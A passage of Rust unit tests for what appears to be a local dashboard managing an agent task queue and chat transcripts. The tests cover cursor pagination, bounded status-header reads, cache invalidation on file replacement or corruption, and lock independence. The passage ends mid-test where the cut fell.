27157        question.run = "run-child".into();
27158        question.node = "review".into();
27159        for origin_task in [Some(parent.id.clone()), None] {
27160            child.followup.as_mut().unwrap().origin_task = origin_task;
27161            ui.queue.put(&mut child).unwrap();
27162            let (tasks, talks, _watches) =
27163                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27164            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
27165            let expected =
27166                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
27167                    .unwrap();
27168            assert_eq!(actual.id, expected.id);
27169            assert!(!actual.status.open());
27170            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27171            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27172            // Without Unix file identity, every readable record must be
27173            // reparsed to detect same-size, same-mtime replacements safely.
27174            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
27175            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27176        }
27177        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
27178        ui.queue.put(&mut child).unwrap();
27179        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
27180        let (tasks, talks, _watches) =
27181            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27182        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27183        child.origin_chat = Some(chat_id.clone());
27184        ui.queue.put(&mut child).unwrap();
27185        let (tasks, talks, _watches) =
27186            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27187        assert_eq!(
27188            crate::consult::origin_talk(&tasks, &talks, &question)
27189                .unwrap()
27190                .id,
27191            chat_id
27192        );
27193        let revision = question_record_revision(&question);
27194        question.abandon("settled elsewhere");
27195        assert_ne!(revision, question_record_revision(&question));
27196        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27197        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
27198        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
27199        let (tasks, talks, _watches) =
27200            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27201        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
27202    }
27203
27204    #[test]
27205    fn list_cursors_freeze_membership_and_expire_explicitly() {
27206        let home = tempfile::tempdir().unwrap();
27207        let ui = delta_test_ui(home.path());
27208        std::fs::create_dir_all(ui.queue.root()).unwrap();
27209        for i in 0..40 {
27210            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
27211        }
27212        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
27213        assert_eq!(first.len(), STORE_PAGE_SIZE);
27214        let cursor = cursor.unwrap();
27215        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
27216        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
27217        let (second, _) = page_ids(
27218            &ui,
27219            false,
27220            PageQuery {
27221                before: Some(cursor.clone()),
27222            },
27223        )
27224        .unwrap();
27225        assert_eq!(second[0], "record-0023");
27226        assert!(second.iter().all(|id| !first.contains(id)));
27227        assert!(
27228            page_ids(
27229                &ui,
27230                true,
27231                PageQuery {
27232                    before: Some(cursor.clone())
27233                }
27234            )
27235            .is_err()
27236        );
27237        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
27238        assert_eq!(fresh[0], "record-9999");
27239        ui.monitor.list_walks.lock().unwrap().clear();
27240        assert!(
27241            page_ids(
27242                &ui,
27243                false,
27244                PageQuery {
27245                    before: Some(cursor)
27246                }
27247            )
27248            .is_err()
27249        );
27250    }
27251
27252    #[tokio::test]
27253    async fn talk_pages_load_every_open_then_frozen_closed_history() {
27254        let home = tempfile::tempdir().unwrap();
27255        let ui = delta_test_ui(home.path());
27256        // Every closed conversation is newer by ID than every open conversation.
27257        for i in 0..23 {
27258            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
27259        }
27260        for i in 0..45 {
27261            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
27262        }
27263        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
27264        let first = talks_page(
27265            State(ui.clone()),
27266            Query(PageQuery::default()),
27267            header::HeaderMap::new(),
27268        )
27269        .await
27270        .unwrap()
27271        .0;
27272        assert_eq!(
27273            first.rows.iter().filter(|row| row.status.open()).count(),
27274            23
27275        );
27276        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
27277        assert!(first.rows[..23].iter().all(|row| row.status.open()));
27278        let parsed = ui
27279            .monitor
27280            .talk_parses
27281            .load(std::sync::atomic::Ordering::Relaxed);
27282        assert_eq!(
27283            parsed,
27284            first.rows.len(),
27285            "closed bodies outside this page are not restored"
27286        );
27287        let fresh = talks_page(
27288            State(ui.clone()),
27289            Query(PageQuery::default()),
27290            header::HeaderMap::new(),
27291        )
27292        .await
27293        .unwrap()
27294        .0;
27295        assert_eq!(fresh.rows.len(), first.rows.len());
27296        assert_eq!(
27297            ui.monitor
27298                .talk_parses
27299                .load(std::sync::atomic::Ordering::Relaxed),
27300            parsed
27301        );
27302        let mut seen: std::collections::HashSet<_> =
27303            first.rows.iter().map(|row| row.id.clone()).collect();
27304        // Status changes keep their original membership position until refresh.
27305        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
27306        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
27307        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
27308        let mut next = first.next;
27309        while let Some(cursor) = next {
27310            let page = talks_page(
27311                State(ui.clone()),
27312                Query(PageQuery {
27313                    before: Some(cursor),
27314                }),
27315                header::HeaderMap::new(),
27316            )
27317            .await
27318            .unwrap()
27319            .0;
27320            assert!(page.rows.len() <= STORE_PAGE_SIZE);
27321            for row in page.rows {
27322                assert!(seen.insert(row.id), "a cursor must not repeat membership");
27323            }
27324            next = page.next;
27325        }
27326        let expected: HashSet<_> = (0..23)
27327            .map(|i| format!("20260101-000000-{i:03}"))
27328            .chain(
27329                (0..45)
27330                    .filter(|i| *i != 1)
27331                    .map(|i| format!("20261019-000000-{i:03}")),
27332            )
27333            .collect();
27334        assert_eq!(
27335            seen, expected,
27336            "the cursor walk must return every surviving ID"
27337        );
27338        let refreshed = talks_page(
27339            State(ui.clone()),
27340            Query(PageQuery::default()),
27341            header::HeaderMap::new(),
27342        )
27343        .await
27344        .unwrap()
27345        .0;
27346        assert_eq!(
27347            refreshed
27348                .rows
27349                .iter()
27350                .filter(|row| row.status.open())
27351                .count(),
27352            23
27353        );
27354        assert!(
27355            refreshed
27356                .rows
27357                .iter()
27358                .any(|row| row.id == "20261019-000000-000")
27359        );
27360        assert!(
27361            !refreshed
27362                .rows
27363                .iter()
27364                .any(|row| row.id == "20260101-000000-000")
27365        );
27366    }
27367
27368    #[test]
27369    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
27370        let home = tempfile::tempdir().unwrap();
27371        let ui = delta_test_ui(home.path());
27372        for i in 0..STORE_PAGE_SIZE + 5 {
27373            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
27374        }
27375        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
27376        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
27377        assert!(next.is_none());
27378    }
27379
27380    #[test]
27381    fn chat_status_promotes_closed_owner_goal_in_header() {
27382        let home = tempfile::tempdir().unwrap();
27383        let ui = delta_test_ui(home.path());
27384        for i in 0..STORE_PAGE_SIZE + 5 {
27385            seed_talk_at(&ui.talks, &format!("new-{i:03}"), "closed");
27386        }
27387        let id = seed_talk_at(&ui.talks, "ancient", "closed");
27388        let path = ui.talks.path_of(&id);
27389        let mut raw: serde_json::Value =
27390            serde_json::from_slice(&std::fs::read(&path).unwrap()).unwrap();
27391        raw["goals"] = serde_json::json!([{
27392            "id": "g", "purpose": "ship", "scope": "task",
27393            "condition": {"description": "done", "kind": "tasks_done"},
27394            "state": "owner", "step": "decision", "source_turn": 0,
27395            "owner_input": "ship", "tasks": [], "runs": [], "watches": [],
27396            "evidence": "", "wake": 0, "handled": 0, "started": null,
27397            "wakes": 0, "last_checked": null, "fingerprint": ""
27398        }]);
27399        let chat: talk::Talk = serde_json::from_value(raw.clone()).unwrap();
27400        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27401        let (ids, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27402        assert!(ids.contains(&id));
27403        let rows = talk_rows(&ui, ids, &header::HeaderMap::new());
27404        let row = rows.iter().find(|row| row.id == id).unwrap();
27405        assert_eq!(row.chat_status.kind, crate::chat_status::Kind::NeedsOwner);
27406        {
27407            let cache = ui.monitor.closed_goal_index.lock().unwrap();
27408            assert!(cache.get(&id).is_some_and(|(_, owner)| *owner));
27409            assert!(cache.len() > STORE_PAGE_SIZE);
27410        }
27411        // A second request must retain the projection even for promoted rows.
27412        let (again, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27413        assert!(again.contains(&id));
27414        // A same-length rewrite preserving write time still changes identity.
27415        let modified = path.metadata().unwrap().modified().unwrap();
27416        raw["goals"][0]["state"] = serde_json::json!("paused");
27417        raw["goals"][0]["step"] = serde_json::json!("waiting");
27418        let chat: talk::Talk = serde_json::from_value(raw).unwrap();
27419        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27420        std::fs::OpenOptions::new()
27421            .write(true)
27422            .open(&path)
27423            .unwrap()
27424            .set_modified(modified)
27425            .unwrap();
27426        let (changed, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27427        assert!(!changed.contains(&id));
27428        // A legacy file with goals after turns is deferred to its history page.
27429        let mut raw = serde_json::to_value(&chat).unwrap();
27430        raw["goals"][0]["state"] = serde_json::json!("owner");
27431        let goals = raw.as_object_mut().unwrap().remove("goals").unwrap();
27432        let mut body = serde_json::to_string(&raw).unwrap();
27433        body.pop();
27434        body.push_str(&format!(",\"goals\":{goals}}}"));
27435        std::fs::write(&path, body).unwrap();
27436        let (initial, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27437        assert!(!initial.contains(&id));
27438        let rows = talk_rows(&ui, vec![id], &header::HeaderMap::new());
27439        assert_eq!(
27440            rows[0].chat_status.kind,
27441            crate::chat_status::Kind::NeedsOwner
27442        );
27443    }
27444
27445    #[test]
27446    fn chat_status_revision_tracks_turn_lease_without_transcript_changes() {
27447        let home = tempfile::tempdir().unwrap();
27448        let ui = delta_test_ui(home.path());
27449        let id = seed_talk_at(&ui.talks, "chat", "open");
27450        let before = monitor_scan(&ui, None);
27451        let lease = ui.talks.claim_turn(&id).unwrap().unwrap();
27452        let during = monitor_scan(&ui, Some(before.clone()));
27453        assert_ne!(during.0.3, before.0.3);
27454        drop(lease);
27455        let after = monitor_scan(&ui, Some(during));
27456        assert_eq!(after.0.3, before.0.3);
27457    }
27458
27459    #[test]
27460    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
27461        struct Counted<R> {
27462            inner: R,
27463            bytes: usize,
27464        }
27465        impl<R: std::io::Read> std::io::Read for Counted<R> {
27466            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
27467                let n = self.inner.read(buf)?;
27468                self.bytes += n;
27469                Ok(n)
27470            }
27471        }
27472        let home = tempfile::tempdir().unwrap();
27473        let ui = delta_test_ui(home.path());
27474        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
27475        let mut chat = ui.talks.get(&id).unwrap();
27476        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
27477            chat.turns = vec![
27478                serde_json::from_value(serde_json::json!({
27479                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
27480                }))
27481                .unwrap(),
27482            ];
27483            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
27484                chat.status = status;
27485                // Exercise the actual on-disk serializer, including its field order.
27486                let body = serde_json::to_vec_pretty(&chat).unwrap();
27487                let mut reader = Counted {
27488                    inner: body.as_slice(),
27489                    bytes: 0,
27490                };
27491                assert_eq!(read_talk_status(&mut reader), Some(status));
27492                assert!(
27493                    reader.bytes <= 1024,
27494                    "header classification read {} bytes",
27495                    reader.bytes
27496                );
27497            }
27498        }
27499        // Noncanonical field order must neither traverse a transcript nor hide
27500        // an open row. Its real status is validated by the ordinary row reader.
27501        let noncanonical = format!(
27502            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
27503            "x".repeat(1024 * 1024)
27504        );
27505        let mut reader = Counted {
27506            inner: noncanonical.as_bytes(),
27507            bytes: 0,
27508        };
27509        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27510        assert!(reader.bytes <= 1024);
27511        let legacy = format!(
27512            r#"{{"status":"closed","turns":[{{"body":"{}"}}],"goals":[]}}"#,
27513            "x".repeat(1024 * 1024)
27514        );
27515        let mut reader = Counted {
27516            inner: legacy.as_bytes(),
27517            bytes: 0,
27518        };
27519        assert!(!read_owner_goal(&mut reader));
27520        assert!(reader.bytes <= 1024);
27521        let oversized = format!(
27522            r#"{{"agent":"{}","status":"open"}}"#,
27523            "x".repeat(128 * 1024)
27524        );
27525        let mut reader = Counted {
27526            inner: oversized.as_bytes(),
27527            bytes: 0,
27528        };
27529        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27530        assert!(reader.bytes <= 64 * 1024);
27531    }
27532
27533    #[test]
27534    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
27535        let home = tempfile::tempdir().unwrap();
27536        let ui = delta_test_ui(home.path());
27537        seed_talk_at(&ui.talks, "header-chat", "open");
27538        std::fs::create_dir_all(ui.queue.root()).unwrap();
27539        let (started, ready) = std::sync::mpsc::channel();
27540        let (release, wait) = std::sync::mpsc::channel();
27541        let chat_ui = ui.clone();
27542        let scan = std::thread::spawn(move || {
27543            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
27544                started.send(()).unwrap();
27545                wait.recv().unwrap();
27546                open_talk_ids(ui, ids)
27547            })
27548            .unwrap()
27549        });
27550        ready.recv_timeout(Duration::from_secs(2)).unwrap();
27551        let (finished, result) = std::sync::mpsc::channel();
27552        let queue = std::thread::spawn(move || {
27553            finished
27554                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
27555                .unwrap();
27556        });
27557        let completed = result.recv_timeout(Duration::from_secs(2));
27558        // Release and join both workers even if the regression returns.
27559        release.send(()).unwrap();
27560        scan.join().unwrap();
27561        queue.join().unwrap();
27562        assert!(
27563            completed.unwrap(),
27564            "queue paging must not wait for chat header I/O"
27565        );
27566    }
27567
27568    #[test]
27569    fn talk_status_projection_does_not_cache_files_changed_during_read() {
27570        let home = tempfile::tempdir().unwrap();
27571        let ui = delta_test_ui(home.path());
27572        let ids = vec!["changing-chat".to_owned()];
27573        seed_talk_at(&ui.talks, &ids[0], "closed");
27574        assert!(open_talk_ids(&ui, &ids).is_empty());
27575        seed_talk_at(&ui.talks, &ids[0], "open");
27576        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
27577            let value: serde_json::Value =
27578                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
27579            // Replace the file after parsing, before its identity is checked again.
27580            seed_talk_at(&ui.talks, &ids[0], "closed");
27581            serde_json::from_value(value["status"].clone()).ok()
27582        });
27583        assert!(open.contains(&ids[0]));
27584        assert!(
27585            ui.monitor
27586                .talk_status_index
27587                .lock()
27588                .unwrap()
27589                .records
27590                .is_empty()
27591        );
27592        assert!(open_talk_ids(&ui, &ids).is_empty());
27593        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
27594    }
27595
27596    #[test]
27597    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
27598        let home = tempfile::tempdir().unwrap();
27599        let ui = delta_test_ui(home.path());
27600        let ids = vec!["same-stamp-chat".to_owned()];
27601        seed_talk_at(&ui.talks, &ids[0], "open");
27602        // Model a non-Unix metadata collision deterministically: the old
27603        // classification has a fingerprint equal to the current file's.
27604        ui.monitor.talk_status_index.lock().unwrap().records.insert(
27605            ids[0].clone(),
27606            (
27607                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
27608                Some(talk::TalkStatus::Closed),
27609            ),
27610        );
27611        let open = open_talk_ids_with(&ui, &ids, false, |path| {
27612            std::fs::File::open(path).ok().and_then(read_talk_status)
27613        });
27614        assert!(
27615            open.contains(&ids[0]),
27616            "an untrusted cache hit must still read the current header"
27617        );
27618        assert!(
27619            ui.monitor
27620                .talk_status_index
27621                .lock()
27622                .unwrap()
27623                .records
27624                .is_empty()
27625        );
27626        seed_talk_at(&ui.talks, &ids[0], "closed");
27627        assert!(
27628            open_talk_ids_with(&ui, &ids, false, |path| {
27629                std::fs::File::open(path).ok().and_then(read_talk_status)
27630            })
27631            .is_empty()
27632        );
27633        let index = ui.monitor.talk_status_index.lock().unwrap();
27634        assert_eq!(index.parses, 2);
27635        assert!(
27636            index.records.is_empty(),
27637            "untrusted fingerprints must never publish cache entries"
27638        );
27639    }
27640
27641    #[test]
27642    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
27643        let home = tempfile::tempdir().unwrap();
27644        let ui = delta_test_ui(home.path());
27645        let headers = header::HeaderMap::new();
27646        seed_talk_at(&ui.talks, "open-chat", "open");
27647        seed_talk_at(&ui.talks, "closed-chat", "closed");
27648        talk_rows(
27649            &ui,
27650            vec!["open-chat".into(), "closed-chat".into()],
27651            &headers,
27652        );
27653        {
27654            let mut index = ui.monitor.talk_index.lock().unwrap();
27655            let closed = index["closed-chat"].1.clone();
27656            for i in 0..1000 {
27657                index.insert(
27658                    format!("cached-closed-{i}"),
27659                    (
27660                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
27661                        closed.clone(),
27662                    ),
27663                );
27664            }
27665        }
27666        assert_eq!(
27667            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
27668            1
27669        );
27670        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
27671        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27672        assert_eq!(
27673            ui.monitor
27674                .talk_parses
27675                .load(std::sync::atomic::Ordering::Relaxed),
27676            2
27677        );
27678        {
27679            let mut index = ui.monitor.talk_index.lock().unwrap();
27680            let open = index["open-chat"].1.clone();
27681            for i in 0..1000 {
27682                index.insert(
27683                    format!("cached-open-{i}"),
27684                    (
27685                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
27686                        open.clone(),
27687                    ),
27688                );
27689            }
27690        }
27691        // Even when open rows exceed the bound, keep the currently requested rows.
27692        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27693        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
27694        assert_eq!(
27695            ui.monitor
27696                .talk_parses
27697                .load(std::sync::atomic::Ordering::Relaxed),
27698            2
27699        );
27700    }
27701
27702    #[test]
27703    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
27704        let home = tempfile::tempdir().unwrap();
27705        let ui = delta_test_ui(home.path());
27706        std::fs::create_dir_all(ui.talks.root()).unwrap();
27707        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
27708        for id in &ids {
27709            std::fs::write(
27710                ui.talks.path_of(id),
27711                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
27712            )
27713            .unwrap();
27714        }
27715        assert!(open_talk_ids(&ui, &ids).is_empty());
27716        assert_eq!(
27717            ui.monitor.talk_status_index.lock().unwrap().parses,
27718            ids.len()
27719        );
27720        assert!(open_talk_ids(&ui, &ids).is_empty());
27721        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
27722        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
27723        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
27724        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
27725        assert_eq!(
27726            open_talk_ids(&ui, &ids),
27727            std::collections::HashSet::from([ids[0].clone()])
27728        );
27729        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
27730        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
27731        assert_eq!(parsed, reused + refreshed);
27732        open_talk_ids(&ui, &ids);
27733        assert_eq!(
27734            ui.monitor.talk_status_index.lock().unwrap().parses,
27735            parsed + if cfg!(unix) { 0 } else { ids.len() },
27736            "only reliable file identity permits caching, including unreadable rows"
27737        );
27738        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
27739        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
27740        assert!(
27741            !ui.monitor
27742                .talk_status_index
27743                .lock()
27744                .unwrap()
27745                .records
27746                .contains_key(&ids[0])
27747        );
27748        assert!(
27749            ui.monitor.talk_index.lock().unwrap().is_empty(),
27750            "classification never caches bodies"
27751        );
27752    }
27753
27754    #[tokio::test]
27755    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
27756        let home = tempfile::tempdir().unwrap();
27757        let ui = delta_test_ui(home.path());
27758        let mut task = Task::new(
27759            "task".into(),
27760            "body".into(),
27761            PathBuf::from("/repo"),
27762            Source::Human,
27763        );
27764        ui.queue.put(&mut task).unwrap();
27765        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27766        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27767        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27768        let expected = parsed + usize::from(!cfg!(unix));
27769        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27770        task.status = crate::queue::TaskStatus::Held;
27771        ui.queue.put(&mut task).unwrap();
27772        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27773        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27774        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
27775        ui.queue.put(&mut task).unwrap();
27776        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27777        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27778        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
27779    }
27780
27781    #[tokio::test]
27782    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
27783        let home = tempfile::tempdir().unwrap();
27784        let ui = delta_test_ui(home.path());
27785        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
27786        let before = health(State(ui.clone())).await.unwrap().0;
27787        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
27788        let after = health(State(ui)).await.unwrap().0;
27789        assert_ne!(before.notifications_rev, after.notifications_rev);
27790        assert_eq!(after.notifications_unread, 1);
27791    }
27792
27793    #[tokio::test]
27794    async fn list_pages_bound_history_and_keep_dependency_evidence() {
27795        let home = tempfile::tempdir().unwrap();
27796        let ui = delta_test_ui(home.path());
27797        let queue = &ui.queue;
27798        let talks = &ui.talks;
27799        for i in 0..1000 {
27800            let id = format!("20261019-{i:06}-page");
27801            let mut task = Task::new(
27802                "task".into(),
27803                "instruction".repeat(100),
27804                PathBuf::from("/repo/magi"),
27805                Source::Human,
27806            );
27807            task.id = id.clone();
27808            if i == 0 {
27809                task.status = crate::queue::TaskStatus::Held;
27810            } else if i == 999 {
27811                task.status = crate::queue::TaskStatus::Blocked;
27812                task.blocked_by = vec!["20261019-000000-page".into()];
27813            }
27814            queue.put(&mut task).unwrap();
27815            seed_talk_at(talks, &id, "closed");
27816        }
27817        let page = serde_json::to_value(
27818            queue_page(State(ui.clone()), Query(PageQuery::default()))
27819                .await
27820                .unwrap()
27821                .0,
27822        )
27823        .unwrap();
27824        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27825        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
27826        assert!(
27827            !page["rows"][0]["stuck_roots"]
27828                .as_array()
27829                .unwrap()
27830                .is_empty()
27831        );
27832        let cursor = page["next"].as_str().unwrap();
27833        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
27834            .as_str()
27835            .unwrap();
27836        // Deleting an already enumerated file cannot shift or repeat a page.
27837        std::fs::remove_file(queue.path_of(last_id)).unwrap();
27838        let next = serde_json::to_value(
27839            queue_page(
27840                State(ui.clone()),
27841                Query(PageQuery {
27842                    before: Some(cursor.into()),
27843                }),
27844            )
27845            .await
27846            .unwrap()
27847            .0,
27848        )
27849        .unwrap();
27850        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27851        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
27852        let chats = serde_json::to_value(
27853            talks_page(
27854                State(ui.clone()),
27855                Query(PageQuery::default()),
27856                header::HeaderMap::new(),
27857            )
27858            .await
27859            .unwrap()
27860            .0,
27861        )
27862        .unwrap();
27863        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27864        assert!(chats["rows"][0].get("pending").is_none());
27865        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
27866        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
27867        assert_eq!(counts["held"], 1);
27868        assert_eq!(counts["blocked"], 1);
27869        assert_eq!(counts["queued"], 997);
27870    }
27871
27872    #[test]
27873    fn queue_index_observes_external_replacement_deletion_and_corruption() {
27874        let dir = tempfile::tempdir().unwrap();
27875        let ui = delta_test_ui(dir.path());
27876        let mut task = Task::new(
27877            "task".into(),
27878            "body".into(),
27879            PathBuf::from("/repo"),
27880            Source::Human,
27881        );
27882        task.runs = vec!["run-a".into()];
27883        ui.queue.put(&mut task).unwrap();
27884        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
27885        task.runs = vec!["run-b".into()];
27886        let path = ui.queue.path_of(&task.id);
27887        let modified = path.metadata().unwrap().modified().unwrap();
27888        let replacement = path.with_extension("replacement");
27889        let bytes = serde_json::to_vec_pretty(&task).unwrap();
27890        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
27891        std::fs::write(&replacement, &bytes).unwrap();
27892        std::fs::File::options()
27893            .write(true)
27894            .open(&replacement)
27895            .unwrap()
27896            .set_times(std::fs::FileTimes::new().set_modified(modified))
27897            .unwrap();
27898        std::fs::rename(&replacement, &path).unwrap();
27899        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
27900        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27901        std::fs::write(&path, "broken").unwrap();
27902        assert!(ui.find_task_for_run("run-b").is_err());
27903        std::fs::write(&path, bytes).unwrap();
27904        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27905        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27906        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
27907    }
27908
27909    #[tokio::test]
27910    async fn conversation_core_is_independent_of_unreadable_related_history() {
27911        let home = tempfile::tempdir().unwrap();
27912        let ui = delta_test_ui(home.path());
27913        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27914        std::fs::create_dir_all(ui.queue.root()).unwrap();
27915        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
27916        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
27917            .await
27918            .unwrap();
27919        assert_eq!(core.talk.id, id);
27920        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
27921    }
27922
27923    #[test]
27924    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
27925        let home = tempfile::tempdir().unwrap();
27926        let ui = delta_test_ui(home.path());
27927        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27928        let directory = home.path().join("workers/jobs/abcdef");
27929        std::fs::create_dir_all(&directory).unwrap();
27930        let job = crate::worker::Job {
27931            id: "abcdef".into(),
27932            sequence: 1,
27933            kind: "chat".into(),
27934            key: id.clone(),
27935            payload: serde_json::json!({ "talk": id }),
27936            generation: "test".into(),
27937            version: None,
27938            status: crate::worker::Status::Running,
27939            result: None,
27940            pid: None,
27941            created_at: 0,
27942            finished_at: None,
27943        };
27944        std::fs::write(
27945            directory.join("job.json"),
27946            serde_json::to_vec(&job).unwrap(),
27947        )
27948        .unwrap();
27949        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
27950        let store =
27951            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
27952        let runtime = tokio::runtime::Builder::new_current_thread()
27953            .enable_all()
27954            .max_blocking_threads(1)
27955            .build()
27956            .unwrap();
27957        runtime.block_on(async {
27958            let (release, held) = std::sync::mpsc::channel();
27959            let (started, ready) = tokio::sync::oneshot::channel();
27960            let occupied = tokio::task::spawn_blocking(move || {
27961                started.send(()).unwrap();
27962                held.recv().unwrap();
27963            });
27964            ready.await.unwrap();
27965            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
27966            let bulk = ui
27967                .monitor
27968                .bulk_slots
27969                .clone()
27970                .acquire_many_owned(2)
27971                .await
27972                .unwrap();
27973            let result = tokio::time::timeout(
27974                Duration::from_secs(2),
27975                talk_core(State(ui.clone()), Path(id.clone())),
27976            )
27977            .await;
27978            // Release all blockers before assertions, including on a regression.
27979            drop(store);
27980            drop(bulk);
27981            release.send(()).unwrap();
27982            occupied.await.unwrap();
27983            let _ = secondary.await.unwrap().unwrap();
27984            let Json(core) = result
27985                .expect("transcript must bypass secondary work and the worker store lock")
27986                .unwrap();
27987            assert!(
27988                core.thinking,
27989                "read-only observation retains live worker state"
27990            );
27991            assert_eq!(core.talk.id, id);
27992            let admission_ui = ui.clone();
27993            let (release, held) = std::sync::mpsc::channel();
27994            let (started, ready) = tokio::sync::oneshot::channel();
27995            let admission = std::thread::spawn(move || {
27996                let _lock = admission_ui.talk_turns.lock().unwrap();
